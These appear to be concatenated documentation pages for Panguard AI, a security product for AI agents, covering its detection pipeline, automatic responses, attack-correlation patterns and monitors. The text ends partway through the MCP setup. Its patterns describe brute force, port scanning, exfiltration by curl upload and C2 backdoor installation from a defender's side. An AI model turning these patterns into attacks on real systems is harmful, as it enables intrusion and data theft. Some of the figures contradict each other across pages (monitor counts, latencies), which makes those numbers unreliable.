  <Card title="ATR Rules on GitHub" icon="file-code" href="https://github.com/Agent-Threat-Rule/agent-threat-rules">
    The open standard for AI agent threat detection. Contribute rules to strengthen collective
    immunity.
  </Card>
</CardGroup>

***

## Explore

<CardGroup>
  <Card title="Product Overview" icon="shield-check" href="/overview">
    Deep dive into the three pillars: ATR, Threat Cloud, and Guard.
  </Card>

  <Card title="CLI Reference" icon="terminal" href="/cli/overview">
    Complete command reference for every Panguard CLI tool.
  </Card>

  <Card title="API Reference" icon="code" href="/api-reference/overview">
    REST API docs for Threat Cloud.
  </Card>

  <Card title="Concepts" icon="lightbulb" href="/concepts/three-layer-ai">
    Understand the three-layer AI architecture powering Panguard.
  </Card>
</CardGroup>


# Product Overview
Source: https://docs.panguard.ai/overview

Panguard AI -- the open standard for AI agent security. Three pillars: ATR (the standard), Threat Cloud (collective immunity), Guard (the engine).

## What is Panguard AI?

Panguard AI is an open-source security platform purpose-built for the AI agent era. As AI agents (Claude Code, Cursor, QClaw, OpenClaw, Codex CLI, WorkBuddy, NemoClaw, ArkClaw, Windsurf, Cline, VS Code Copilot, Zed, Gemini CLI, Continue, Roo Code) gain root access to production systems, Panguard provides the first open standard for detecting and blocking agent-level threats.

**Three pillars. One mission: secure every AI agent.**

1. **ATR (Agent Threat Rules)** -- The open standard for AI agent threat detection (768 rules, 10 categories, OWASP 10/10)
2. **Threat Cloud** -- Collective immunity network that gets stronger with every install (11 intel sources, hourly sync)
3. **Guard** -- The enforcement engine with Skill Auditor, threat blocking, and auto-response (768 ATR rules)

## Three Pillars

<CardGroup>
  <Card title="ATR -- The Standard" icon="file-code">
    **768 rules across 10 threat categories. OWASP 10/10.** The first open standard for AI agent threats --
    purpose-built for prompt injection, tool poisoning, skill compromise, and agent manipulation.
    YAML-based, human-readable, machine-enforceable.
  </Card>

  <Card title="Threat Cloud -- The Network" icon="globe">
    **Collective immunity.** Every Panguard install contributes anonymized threat signals. The
    pipeline auto-generates ATR rules from real-world attacks via Claude Sonnet 4 LLM review. 11
    threat intel sources, 5,000+ validated IoC records, synced every hour.
  </Card>

  <Card title="Guard -- The Engine" icon="shield-halved">
    **768 ATR detection rules.** A 4-agent AI pipeline (Detect, Analyze, Respond, Report) processes
    OS-level events through ATR rules. Built-in Skill Auditor gates every AI skill before install.
    Auto-response blocks IPs, kills processes, quarantines files.
  </Card>
</CardGroup>

## Additional Tools

<CardGroup>
  <Card title="Panguard Scan" icon="magnifying-glass">
    **60-second security audit.** One-time scan producing a risk score (0-100, grades A-F), PDF
    report, and compliance reports (ISO 27001, SOC 2, TCSA). Covers ports, services, firewall,
    SSL/TLS, password policy, and CVE lookup. MIT licensed.
  </Card>

  <Card title="MCP Server" icon="plug">
    **AI assistant integration.** 12 MCP tools let Claude Desktop, Cursor, and Claude Code control
    Panguard directly through natural language.
  </Card>

  <Card title="Skill Auditor" icon="clipboard-check">
    **Pre-install security gate.** 8-check analysis of AI skill manifests for prompt injection, tool
    poisoning, secrets, and unsafe dependencies before installation.
  </Card>
</CardGroup>

## Three-Layer AI Architecture

Panguard uses a layered AI funnel that balances speed, cost, and accuracy. Each layer handles progressively fewer -- but more complex -- events.

| Layer       | Technology                 | Handles       | Latency | Cost           |
| ----------- | -------------------------- | ------------- | ------- | -------------- |
| **Layer 1** | ATR rules engine           | 90% of events | \< 50ms | \$0            |
| **Layer 2** | Local AI (Ollama)          | 7% of events  | \~2s    | \$0            |
| **Layer 3** | Cloud AI (Claude / OpenAI) | 3% of events  | \~5s    | \~\$0.008/call |

<Info>
  **Resilient by design.** If Cloud AI is unavailable, Local AI takes over. If Local AI is down, the
  rules engine keeps running. Protection never stops.
</Info>

For a deep dive into the AI architecture, see [Three-Layer AI](/concepts/three-layer-ai).

## Technology Stack

| Category             | Technology                               |
| -------------------- | ---------------------------------------- |
| Language             | TypeScript 5.7 (strict mode)             |
| Runtime              | Node.js 20+                              |
| Monorepo             | pnpm 10 workspaces                       |
| Testing              | Vitest 3 (3,583 tests / 165 files)       |
| Detection Rules      | ATR (768) -- OWASP Agentic Top 10: 10/10 |
| AI Providers         | Ollama (local) + Claude / OpenAI (cloud) |
| Internationalization | English + Traditional Chinese            |
| Encryption           | AES-256-GCM                              |
| License              | MIT                                      |

## Platform Support

Panguard integrates with 17 AI agent platforms via MCP or native Skill protocol:

| Platform            | Protocol     | Config Path                                |
| ------------------- | ------------ | ------------------------------------------ |
| **Claude Code**     | MCP          | `~/.claude/settings.local.json`            |
| **Claude Desktop**  | MCP          | `~/Library/.../claude_desktop_config.json` |
| **Cursor**          | MCP          | `~/.cursor/mcp.json`                       |
| **Hermes Agent**    | MCP          | `~/.hermes/config.yaml`                    |
| **OpenClaw**        | Native Skill | `~/.openclaw/skills/panguard/SKILL.md`     |
| **Codex CLI**       | MCP          | `~/.codex/mcp.json`                        |
| **WorkBuddy**       | MCP          | `~/.workbuddy/.mcp.json`                   |
| **NemoClaw**        | MCP          | `~/.nemoclaw/mcp.json`                     |
| **ArkClaw**         | MCP          | `~/.arkclaw/mcp.json`                      |
| **Windsurf**        | MCP          | `~/.windsurf/mcp.json`                     |
| **QClaw**           | MCP          | `~/.qclaw/mcp.json`                        |
| **Cline**           | MCP          | `~/.cline/mcp.json`                        |
| **VS Code Copilot** | MCP          | `~/.vscode/mcp.json`                       |
| **Zed**             | MCP          | `~/.zed/mcp.json`                          |
| **Gemini CLI**      | MCP          | `~/.gemini/mcp.json`                       |
| **Continue**        | MCP          | `~/.continue/mcp.json`                     |
| **Roo Code**        | MCP          | `~/.roo-code/mcp.json`                     |

All platforms are auto-configured with a single `panguard setup` command.

<h2>
  100% Open Source
</h2>

Panguard AI Community is released under the [MIT License](https://github.com/panguard-ai/panguard-ai/blob/main/LICENSE) -- full source, unlimited self-host, no signup required. Every line is auditable. For production deployments at F500 scale, Enterprise ($150K-500K / year), Migrator Pro ($500K-2M / year), and Sovereign (\$5-20M / nation) tiers add signed, continuously re-scanned compliance evidence, airgap deployment, and SLA. See [pricing](https://panguard.ai/pricing).

<CardGroup>
  <Card title="View on GitHub" icon="github" href="https://github.com/panguard-ai/panguard-ai">
    Browse the source code, report issues, or contribute to the project.
  </Card>

  <Card title="ATR Rules on GitHub" icon="file-code" href="https://github.com/Agent-Threat-Rule/agent-threat-rules">
    Contribute ATR rules -- every new rule strengthens collective immunity for all users.
  </Card>
</CardGroup>


# Agent Pipeline (DARE)
Source: https://docs.panguard.ai/products/guard/agent-pipeline

Deep dive into the 4-agent Detect-Analyze-Respond-Report pipeline that processes every security event.

The Guard engine processes every security event through a linear 4-agent chain called the DARE pipeline: **Detect**, **Analyze**, **Respond**, **Report**. Each agent has a single responsibility and produces a typed output consumed by the next agent.

## Pipeline Flow

```
SecurityEvent
     |
     v
[DetectAgent] ──> DetectionResult | null
     |
     v
[AnalyzeAgent] ──> ThreatVerdict
     |
     v
[RespondAgent] ──> ResponseResult
     |
     v
[ReportAgent] ──> Updated baseline + anonymized data
```

If the DetectAgent returns `null` (no rules matched, no threat intel hit), the event is considered benign and skipped. Otherwise, the full pipeline executes.

***

## DetectAgent

**Source**: `packages/panguard-guard/src/agent/detect-agent.ts`

| Field      | Value                       |
| ---------- | --------------------------- |
| **Input**  | `SecurityEvent`             |
| **Output** | `DetectionResult` or `null` |

### Responsibilities

1. **ATR rule matching** -- runs the event against all loaded rules via the `RuleEngine`
2. **Threat intelligence lookup** -- checks source/destination IPs against 5 feed sources plus Threat Cloud blocklists (supports IPv4 and IPv6)
3. **Deduplication** -- skips identical detections within a 60-second window (max 500 entries in the dedup map)
4. **Event correlation** -- both legacy IP-based correlation (3+ events from same source IP in 5 minutes) and advanced pattern-based correlation via the `EventCorrelator` (7 attack patterns)

### Internal State

| Buffer             | Capacity     | Window     |
| ------------------ | ------------ | ---------- |
| Correlation buffer | 1,000 events | 5 minutes  |
| Deduplication map  | 500 entries  | 60 seconds |

***

## AnalyzeAgent

**Source**: `packages/panguard-guard/src/agent/analyze-agent.ts`

| Field      | Value                                                         |
| ---------- | ------------------------------------------------------------- |
| **Input**  | `DetectionResult` + `EnvironmentBaseline`                     |
| **Output** | `ThreatVerdict` (conclusion: benign / suspicious / malicious) |

### Evidence Sources and Weights

The AnalyzeAgent collects evidence from multiple sources and calculates a weighted confidence score (0--100):

| Source                   | Weight     | Notes                                      |
| ------------------------ | ---------- | ------------------------------------------ |
| ATR rule matches         | 0.40       | Adjusted by feedback loop                  |
| Threat intelligence      | --         | Fixed confidence of 85 when matched        |
| Baseline deviation       | 0.30       | Time-of-day awareness (00:00--05:59 boost) |
| eBPF/DPI evidence        | 0.20--0.25 | When kernel-level monitors are active      |
| Attack chain correlation | +5/event   | Max +25 bonus                              |
| AI analysis              | 0.30       | When AI provider is available              |

Weight distribution adapts to available sources:

| Available Sources | Rules/Intel | Baseline | AI   | eBPF |
| ----------------- | ----------- | -------- | ---- | ---- |
| Rules only        | 0.60        | 0.40     | --   | --   |
| Rules + AI        | 0.40        | 0.30     | 0.30 | --   |
| Rules + eBPF      | 0.40        | 0.35     | --   | 0.25 |
| Rules + AI + eBPF | 0.30        | 0.20     | 0.30 | 0.20 |

### Feedback Loop

The AnalyzeAgent maintains a per-rule feedback history:

* **High false-positive rate** -- confidence reduced by up to 30%
* **High true-positive rate** -- confidence increased by up to 10%

### Contradiction Detection

If a high-severity rule fires but the baseline shows no deviation, confidence is reduced by 10 points. This prevents over-alerting on events that match a rule pattern but are normal for the specific environment.

***

## RespondAgent

**Source**: `packages/panguard-guard/src/agent/respond-agent.ts`

| Field      | Value            |
| ---------- | ---------------- |
| **Input**  | `ThreatVerdict`  |
| **Output** | `ResponseResult` |

### Confidence-Based Actions

| Confidence | Action                        |
| ---------- | ----------------------------- |
| >= 90%     | Auto-execute, notify after    |
| 70--90%    | Ask for confirmation via Chat |
| \< 70%     | Notify only, no action        |

### Available Actions

| Action            | Description                  | Platform                                         |
| ----------------- | ---------------------------- | ------------------------------------------------ |
| `block_ip`        | Block source IP via firewall | macOS (pfctl), Linux (iptables), Windows (netsh) |
| `kill_process`    | Terminate malicious process  | All (SIGTERM then SIGKILL after 5s)              |
| `isolate_file`    | Quarantine suspicious file   | All                                              |
| `disable_account` | Lock user account            | All                                              |
| `notify`          | Send alert via Chat          | All                                              |
| `log_only`        | Record without action        | All                                              |

Full details on safety rules and escalation are covered in [Auto-Response](/products/guard/auto-response).

***

## ReportAgent

**Source**: `packages/panguard-guard/src/agent/report-agent.ts`

| Field      | Value                                                                        |
| ---------- | ---------------------------------------------------------------------------- |
| **Input**  | `SecurityEvent` + `ThreatVerdict` + `ResponseResult` + `EnvironmentBaseline` |
| **Output** | Updated baseline + optional anonymized threat data                           |

### Responsibilities

1. **JSONL Logging** -- writes complete event records with log rotation (50 MB per file, 10 rotated files, 90-day retention)
2. **Baseline Updates** -- during learning mode, continuously updates the behavioral baseline with observed patterns
3. **Anonymization** -- IP addresses are /16-anonymized (last two octets zeroed) before Threat Cloud upload
4. **Summary Generation** -- produces daily (24h) and weekly (7d) summaries with top attack sources, action breakdown, and verdict distribution

### Log Format

Each log entry is a JSON line containing:

```json theme={null}
{
  "timestamp": "2025-01-15T14:23:01.000Z",
  "event": { "type": "network", "sourceIp": "203.0.113.50" },
  "verdict": { "conclusion": "malicious", "confidence": 95 },
  "response": { "action": "block_ip", "success": true },
  "baseline": { "deviation": true, "score": 0.85 }
}
```


# Auto-Response
Source: https://docs.panguard.ai/products/guard/auto-response

Automated threat response modules, safety rules, escalation ladder, and rollback support.

The `RespondAgent` executes defensive actions based on the `ThreatVerdict` produced by the `AnalyzeAgent`. It implements strict safety rules, a graduated escalation ladder, and full rollback support.

## Response Modules

Guard includes 3 active response modules plus notification and logging:

### 1. IP Blocker

Blocks malicious source IPs at the firewall level.

| Field                        | Details                        |
| ---------------------------- | ------------------------------ |
| **Action**                   | `block_ip`                     |
| **macOS**                    | `pfctl` (Packet Filter)        |
| **Linux**                    | `iptables`                     |
| **Windows**                  | `netsh advfirewall`            |
| **Default duration**         | 1 hour                         |
| **Repeat offender duration** | 24 hours                       |
| **Auto-unblock**             | Yes, after configured duration |

### 2. Process Killer

Terminates malicious processes.

| Field               | Details                                            |
| ------------------- | -------------------------------------------------- |
| **Action**          | `kill_process`                                     |
| **Method**          | SIGTERM first, then SIGKILL after 5-second timeout |
| **Self-protection** | Cannot kill the Panguard Guard process itself      |
| **Cross-platform**  | Uses native OS process management APIs             |

### 3. File Quarantine

Isolates suspicious files by moving them to a quarantine directory.

| Field        | Details                                                       |
| ------------ | ------------------------------------------------------------- |
| **Action**   | `isolate_file`                                                |
| **Method**   | Moves file to quarantine directory with SHA-256 hash recorded |
| **Metadata** | Original path, timestamp, verdict, and hash preserved         |
| **Recovery** | Files can be restored from quarantine via the action manifest |

## Confidence Thresholds

The RespondAgent uses confidence-based decision making:

| Confidence Range                 | Behavior                                                    |
| -------------------------------- | ----------------------------------------------------------- |
| >= `autoRespond` (default 90%)   | Execute action automatically, notify after                  |
| >= `notifyAndWait` (default 70%) | Send confirmation request via Chat, wait for human approval |
| \< `notifyAndWait`               | Log the event and send an informational notification        |

In **Learning Mode**, all events are logged without active response regardless of confidence.

## Safety Rules

The RespondAgent enforces hard safety limits that cannot be overridden:

### Whitelisted IPs

These IPs are never blocked, even if they trigger detections:

```
127.0.0.1, ::1, localhost, 0.0.0.0
```

Additional IPs can be added via configuration.

### Protected Processes

These processes are never killed:

```
sshd, systemd, init, launchd, node, panguard-guard,
kernel, kthreadd, dockerd, containerd
```

### Protected Accounts

These accounts are never disabled:

```
root, Administrator, SYSTEM, LocalSystem, admin
```

### Network Isolation Threshold

Network isolation (blocking all traffic from an IP) requires confidence >= 95. This prevents accidental lockouts from aggressive but uncertain detections.

## Escalation Ladder

The RespondAgent implements progressive escalation:

| Condition                            | Action                                |
| ------------------------------------ | ------------------------------------- |
| First violation from a source        | Normal thresholds apply               |
| 3+ violations from same target       | Auto-respond threshold lowered by 10% |
| Repeat offender (previously blocked) | Block duration increased to 24 hours  |

This means a persistent attacker faces increasingly aggressive responses while first-time anomalies are treated conservatively.

## Action Persistence and Rollback

All executed actions are persisted to a JSONL manifest file:

```
/var/panguard-guard/action-manifest.jsonl
```

Each entry records:

| Field         | Description                                           |
| ------------- | ----------------------------------------------------- |
| `timestamp`   | When the action was executed                          |
| `action`      | Action type (block\_ip, kill\_process, isolate\_file) |
| `target`      | IP address, PID, or file path                         |
| `verdict`     | Full ThreatVerdict that triggered the action          |
| `reversible`  | Whether the action can be rolled back                 |
| `rollbackCmd` | Command to undo the action                            |

### Rollback Examples

| Action                      | Rollback                                      |
| --------------------------- | --------------------------------------------- |
| `block_ip 203.0.113.50`     | Remove firewall rule after duration expires   |
| `isolate_file /tmp/payload` | Restore file from quarantine to original path |
| `kill_process 5678`         | Not reversible (process already terminated)   |

## Cross-Platform Command Execution

All OS commands are executed via `execFile` (never `exec`) to prevent shell injection:

| Platform | IP Block Command                      | IP Unblock Command                       |
| -------- | ------------------------------------- | ---------------------------------------- |
| macOS    | `pfctl` rule addition                 | `pfctl` rule removal                     |
| Linux    | `iptables -A INPUT -s <ip> -j DROP`   | `iptables -D INPUT -s <ip> -j DROP`      |
| Windows  | `netsh advfirewall firewall add rule` | `netsh advfirewall firewall delete rule` |

<Note>
  The RespondAgent never uses `shell: true` or string-based command construction. All parameters are
  passed as array arguments to `execFile` to prevent command injection vulnerabilities.
</Note>


# Event Correlation
Source: https://docs.panguard.ai/products/guard/event-correlation

Real-time pattern-based multi-step attack detection using a sliding time window and 7 correlation patterns.

The `EventCorrelator` implements real-time, pattern-based multi-step attack detection. Rather than evaluating events in isolation, it maintains a sliding window buffer and applies 7 pattern detectors to identify attack chains that span multiple events.

## Architecture

```
Events ──> [Sliding Window Buffer] ──> [Pattern Detectors] ──> CorrelationResult
                Max 1000 events              7 patterns
                5-minute window
```

The correlator runs inside the `DetectAgent` and produces `CorrelationPattern` objects that boost the confidence score in the `AnalyzeAgent`.

## Sliding Window Buffer

| Parameter       | Value                                                |
| --------------- | ---------------------------------------------------- |
| Maximum events  | 1,000                                                |
| Time window     | 5 minutes                                            |
| Eviction policy | Events older than 5 minutes are discarded            |
| Grouping        | Events are grouped by source IP for pattern matching |

## 7 Correlation Patterns

### 1. Brute Force Detection

| Field               | Value                                                        |
| ------------------- | ------------------------------------------------------------ |
| **MITRE ATT\&CK**   | T1110                                                        |
| **Detection logic** | Authentication failures from the same source IP              |
| **Window**          | 60 seconds                                                   |
| **Threshold**       | 5 events                                                     |
| **Confidence**      | 60 base + 8 per additional event (max 100)                   |
| **Example**         | 15 failed SSH login attempts from 203.0.113.50 in 30 seconds |

### 2. Port Scan Detection

| Field               | Value                                                                          |
| ------------------- | ------------------------------------------------------------------------------ |
| **MITRE ATT\&CK**   | T1046                                                                          |
| **Detection logic** | Connections to distinct destination ports from the same IP                     |
| **Window**          | 60 seconds                                                                     |
| **Threshold**       | 10 distinct ports                                                              |
| **Confidence**      | 65 base + 3 per additional port (max 100)                                      |
| **Example**         | Single IP probing ports 22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017 |

### 3. Lateral Movement

| Field               | Value                                                                   |
| ------------------- | ----------------------------------------------------------------------- |
| **MITRE ATT\&CK**   | T1021                                                                   |
| **Detection logic** | Connections to distinct internal (RFC 1918) IP addresses                |
| **Window**          | 5 minutes                                                               |
| **Threshold**       | 3 distinct internal IPs                                                 |
| **Confidence**      | 55 base + 10 per additional IP (max 100)                                |
| **Example**         | Compromised host connecting to 192.168.1.10, 192.168.1.20, 192.168.1.30 |

### 4. Data Exfiltration

| Field               | Value                                          |
| ------------------- | ---------------------------------------------- |
| **MITRE ATT\&CK**   | T1041                                          |
| **Detection logic** | Large outbound data transfer to an external IP |
| **Window**          | Single event evaluation                        |
| **Threshold**       | 10 MB                                          |
| **Confidence**      | 50 base + 15 per additional 10 MB (max 100)    |
| **Example**         | 45 MB upload to an external IP via curl        |

### 5. Backdoor Installation

| Field               | Value                                                                                 |
| ------------------- | ------------------------------------------------------------------------------------- |
| **MITRE ATT\&CK**   | T1059                                                                                 |
| **Detection logic** | Combination of file write + process creation + outbound network connection            |
| **Window**          | 5 minutes                                                                             |
| **Threshold**       | All 3 event types present                                                             |
| **Confidence**      | 55 base, increases with additional correlated events (max 100)                        |
| **Example**         | File written to `/tmp/payload`, new process spawned, outbound connection to C2 server |

### 6. Privilege Escalation

| Field               | Value                                                        |
| ------------------- | ------------------------------------------------------------ |
| **MITRE ATT\&CK**   | T1548                                                        |
| **Detection logic** | setuid/setgid/sudo/pkexec events                             |
| **Window**          | 5 minutes                                                    |
| **Threshold**       | 1 or more events                                             |
| **Confidence**      | 50 base + 15 per additional event (max 100)                  |
| **Example**         | Multiple `sudo` invocations followed by `setuid` system call |

### 7. Severity Escalation

| Field               | Value                                                              |
| ------------------- | ------------------------------------------------------------------ |
| **MITRE ATT\&CK**   | -- (compound pattern)                                              |
| **Detection logic** | Accumulation of low or medium severity events from the same source |
| **Window**          | 5 minutes                                                          |
| **Threshold**       | 3 events at the same severity level                                |
| **Confidence**      | 40 base + 10 per additional event (max 100)                        |
| **Promotion rules** | 3+ low events promote to medium; 3+ medium events promote to high  |

## Correlation Result

When a pattern matches, the correlator produces a `CorrelationResult` containing:

```typescript theme={null}
interface CorrelationResult {
  pattern: string; // e.g., "brute_force"
  mitreId: string; // e.g., "T1110"
  confidence: number; // 0-100
  relatedEvents: string[]; // event IDs in the chain
  sourceIp: string; // common source IP
  description: string; // human-readable summary
}
```

The `AnalyzeAgent` applies a correlation boost of +5 per correlated event, up to a maximum of +25 added to the final confidence score.

<Warning>
  The correlation engine operates in memory. Restarting the Guard engine clears the sliding window
  buffer. Persistent cross-session correlation is available when a Manager server is connected.
</Warning>


# Monitor Types
Source: https://docs.panguard.ai/products/guard/monitors

Reference for all 10 monitor types: 4 built-in and 6 advanced monitors with their capabilities and dependencies.

The Guard agent supports 10 monitor types organized into two tiers. Built-in monitors are available on all platforms with zero dependencies. Advanced monitors require specific OS versions or external tools but provide deeper visibility.

All monitors emit normalized `SecurityEvent` objects that feed into the DARE pipeline.

## Built-in Monitors

These 4 monitors ship with `@panguard-ai/core` and work on macOS, Linux, and Windows out of the box.

### Log Monitor

| Field            | Details                                                                                                |
| ---------------- | ------------------------------------------------------------------------------------------------------ |
| **Source**       | `core/monitors`                                                                                        |
| **Platforms**    | Linux, macOS, Windows                                                                                  |
| **Data sources** | syslog (`/var/log/syslog`, `/var/log/auth.log`), Windows Event Log, application log files              |
| **Capabilities** | Reads and normalizes log entries to `SecurityEvent` format. Supports tailing for real-time monitoring. |

### Network Monitor

| Field            | Details                                                                                                                                   |
| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| **Source**       | `core/monitors`                                                                                                                           |
| **Platforms**    | Linux, macOS, Windows                                                                                                                     |
| **Data sources** | `/proc/net/tcp` (Linux), `netstat` (cross-platform)                                                                                       |
| **Capabilities** | Monitors active network connections. Detects new connections, unusual ports, traffic to known-bad IPs, and anomalous connection patterns. |

### Process Monitor

| Field            | Details                                                                                                         |
| ---------------- | --------------------------------------------------------------------------------------------------------------- |
| **Source**       | `core/monitors`                                                                                                 |
| **Platforms**    | Linux, macOS, Windows                                                                                           |
| **Data sources** | `/proc` filesystem (Linux), OS APIs (macOS/Windows)                                                             |
| **Capabilities** | Scans running processes. Detects new/unusual process spawning, suspicious command lines, and privilege changes. |

### File Monitor

| Field            | Details                                                                                                                    |
| ---------------- | -------------------------------------------------------------------------------------------------------------------------- |
| **Source**       | `core/monitors`                                                                                                            |
| **Platforms**    | Linux, macOS, Windows                                                                                                      |
| **Data sources** | inotify (Linux), FSEvents (macOS), ReadDirectoryChangesW (Windows)                                                         |
| **Capabilities** | Watches critical filesystem paths for modifications. Tracks file creation, modification, deletion, and permission changes. |

***

## Advanced Monitors

These 4 monitors ship with `@panguard-ai/panguard-guard` and provide kernel-level or specialized visibility. All gracefully degrade when their dependencies are not installed.

### Syscall Monitor (eBPF)

| Field            | Details                                                                                                                     |
| ---------------- | --------------------------------------------------------------------------------------------------------------------------- |
| **Source**       | `syscall-monitor.ts`                                                                                                        |
| **Dependency**   | Linux Kernel 4.18+                                                                                                          |
| **Data source**  | `/proc` polling for process and network activity                                                                            |
| **Capabilities** | Detects suspicious processes, privilege escalation attempts, and C2 (command-and-control) connections at the syscall level. |
| **Event types**  | Process creation, privilege changes, network syscalls                                                                       |

### Memory Scanner

| Field            | Details                                                                                                                                                       |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Source**       | `memory-scanner.ts`                                                                                                                                           |
| **Dependency**   | `CAP_SYS_PTRACE` capability                                                                                                                                   |
| **Capabilities** | Scans process memory regions for fileless malware signatures, injected code, and suspicious memory patterns. Detects threats that never touch the filesystem. |
| **Event types**  | Memory injection, fileless malware, process hollowing                                                                                                         |

### DPI Monitor (Deep Packet Inspection)

| Field            | Details                                                                                                                                                       |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Source**       | `dpi-monitor.ts`                                                                                                                                              |
| **Dependency**   | None (userspace implementation)                                                                                                                               |
| **Capabilities** | Protocol-level traffic analysis. Detects C2 beacons, DNS tunneling, encrypted traffic anomalies, and protocol misuse without requiring hardware acceleration. |
| **Event types**  | C2 communication, DNS tunneling, protocol anomalies                                                                                                           |

### Rootkit Detector

| Field            | Details                                                                                                                                                                 |
| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Source**       | `rootkit-detector.ts`                                                                                                                                                   |
| **Dependency**   | Linux                                                                                                                                                                   |
| **Capabilities** | Checks for hidden processes (comparing `/proc` with `ps` output), hidden kernel modules, modified system binaries (checksum verification), and `LD_PRELOAD` injections. |
| **Event types**  | Hidden processes, kernel module tampering, binary modification                                                                                                          |

***

## Monitor Architecture

```
                    SecurityEvent
                         ^
                         |
  ┌──────────┬──────────┬──────────┬──────────┐
  |   Log    | Network  | Process  |   File   |    Built-in
  └──────────┴──────────┴──────────┴──────────┘
  ┌──────────┬──────────┬──────────┬──────────┐
  |  eBPF    |  Memory  |   DPI    | Rootkit  |  Advanced
  └──────────┴──────────┴──────────┴──────────┘
```

All monitors feed events into the `MonitorEngine`, which forwards them to the `GuardEngine` for DARE pipeline processing.

<Note>
  Advanced monitors are optional. Guard operates fully with built-in monitors alone. Enable advanced
  monitors when you need kernel-level visibility or have the required dependencies installed.
</Note>


# Panguard Guard
Source: https://docs.panguard.ai/products/guard/overview

24/7 AI-driven real-time threat monitoring with the DARE pipeline, 10 monitor types, event correlation, and automated response.

Panguard Guard is the core runtime protection engine. It monitors your system 24/7 using 10 monitor types, processes every security event through a 4-agent DARE pipeline (Detect, Analyze, Respond, Report), and takes automated action against threats based on confidence scoring.

## Quick Start

```bash theme={null}
# Start Guard
panguard guard start

# Check status (free)
panguard guard status

# Stop Guard
panguard guard stop
```

## Operating Modes

Guard operates in two modes and transitions automatically:

### Learning Mode (Day 1--7)

During the first 7 days, Guard observes your system to build a behavioral baseline:

```
Mode:       Learning (Day 3/7)
Monitoring: processes, network, files
Baseline:   42% complete
```

* No alerts are generated (prevents false positives)
* Records normal process patterns, network connections, file activity
* Sends daily learning progress summaries via Chat

### Protection Mode (Day 8+)

After the baseline is established, Guard switches to active protection:

```
Mode:       Protection
Score:      85/100 (Grade: A)
Threats:    0 active
Blocked:    12 IPs today
```

* Deviations from baseline trigger alerts
* Automated response based on confidence thresholds
* Real-time notifications via Chat

## The DARE Pipeline

Every security event flows through 4 agents in sequence:

```
Event ──> Detect ──> Analyze ──> Respond ──> Report
```

| Agent       | Responsibility                                                                            |
| ----------- | ----------------------------------------------------------------------------------------- |
| **Detect**  | Rule matching (ATR), threat intel lookup, deduplication, event correlation                |
| **Analyze** | Evidence collection, weighted confidence scoring, AI reasoning, baseline deviation checks |
| **Respond** | Action execution (block IP, kill process, quarantine file), safety checks, escalation     |
| **Report**  | JSONL logging with rotation, baseline updates, anonymized data for Threat Cloud           |

<Card title="Agent Pipeline Deep Dive" icon="arrow-right-arrow-left" href="/products/guard/agent-pipeline">
  Detailed breakdown of each agent's inputs, outputs, and decision logic.
</Card>

## Detection Layers

Guard uses a 3-layer AI detection funnel to minimize latency and cost:

| Layer       | Engine                                     | Cost           | Latency  | Traffic         |
| ----------- | ------------------------------------------ | -------------- | -------- | --------------- |
| **Layer 1** | ATR rules, built-in patterns, threat intel | \$0            | \< 1 ms  | \~90% of events |
| **Layer 2** | Ollama (local AI)                          | \$0            | \~100 ms | \~7% of events  |
| **Layer 3** | Claude / OpenAI (cloud AI)                 | \~\$0.01/event | \~1 s    | \~3% of events  |

Only events that cannot be resolved at a lower layer are escalated to the next.

## Key Capabilities

| Capability               | Details                                                     |
| ------------------------ | ----------------------------------------------------------- |
| **Monitor types**        | 10 (4 built-in + 6 advanced)                                |
| **ATR rules**            | 768 built-in detection rules                                |
| **Threat intel feeds**   | 5 sources (ThreatFox, URLhaus, Feodo, GreyNoise, AbuseIPDB) |
| **Correlation patterns** | 7 attack patterns with MITRE ATT\&CK mapping                |
| **Response actions**     | IP block, process kill, file quarantine, notify, log        |
| **Cross-platform**       | macOS (pfctl), Linux (iptables), Windows (netsh)            |
| **Log retention**        | 50 MB per file, 10 rotated files, 90-day retention          |

## Status Dashboard

```bash theme={null}
panguard guard status
```

```
Status:     Running
Mode:       Protection
PID:        12345
Uptime:     14d 6h 33m
Score:      85/100 (Grade: A)
Threats:    0 active
Events:     134,567 processed
Rules:      768 ATR
Feeds:      5 active
```

## CLI Options

```
panguard guard <command> [options]

Commands:
  start              Start Guard engine
  stop               Stop Guard engine
  status             Show current status
  install            Install as system service
  uninstall          Remove system service
  config             Show current configuration

Options:
  --data-dir <path>  Data directory (default: ~/.panguard-guard)
```

<CardGroup>
  <Card title="Monitors" icon="eye" href="/products/guard/monitors">
    All 10 monitor types: built-in and advanced.
  </Card>

  <Card title="Event Correlation" icon="diagram-project" href="/products/guard/event-correlation">
    7 correlation patterns for multi-step attack detection.
  </Card>

  <Card title="Auto-Response" icon="bolt" href="/products/guard/auto-response">
    Response actions, safety rules, and escalation ladder.
  </Card>

  <Card title="Agent Pipeline" icon="arrow-right-arrow-left" href="/products/guard/agent-pipeline">
    Deep dive into the 4-agent DARE pipeline.
  </Card>
</CardGroup>


# Panguard MCP Server
Source: https://docs.panguard.ai/products/mcp/overview

Model Context Protocol server exposing 12 Panguard security tools to AI assistants like Claude Desktop, Cursor, and Windsurf.

Panguard MCP implements the [Model Context Protocol](https://modelcontextprotocol.io) standard, allowing AI assistants to interact with your security infrastructure through natural language. Ask your AI to scan for vulnerabilities, check guard status, block malicious IPs, or generate compliance reports -- all through conversation.

## Quick Start

Add Panguard to your AI assistant's MCP configuration:

<Tabs>
  <Tab title="Claude Desktop">
    Edit `~/Library/Application Support/Claude/claude_desktop_config.json` (macOS) or `%APPDATA%\Claude\claude_desktop_config.json` (Windows):

    ```json theme={null}
    {
      "mcpServers": {
        "panguard": {
          "command": "npx",
          "args": ["-y", "@panguard-ai/panguard-mcp"]
        }
      }
    }
    ```

    Restart Claude Desktop after saving.
  </Tab>

  <Tab title="Cursor">
    Add to your Cursor MCP settings (Settings > MCP Servers):

    ```json theme={null}
    {
      "panguard": {
        "command": "npx",
        "args": ["-y", "@panguard-ai/panguard-mcp"]
      }
    }
    ```
  </Tab>

  <Tab title="Windsurf">
    Add to your Windsurf MCP configuration:

    ```json theme={null}
    {
      "mcpServers": {
        "panguard": {
          "command": "npx",
          "args": ["-y", "@panguard-ai/panguard-mcp"]
        }
      }
    }
    ```
  </Tab>

  <Tab title="Claude Code">
    Add to your Claude Code MCP settings:

    ```json theme={null}
    {
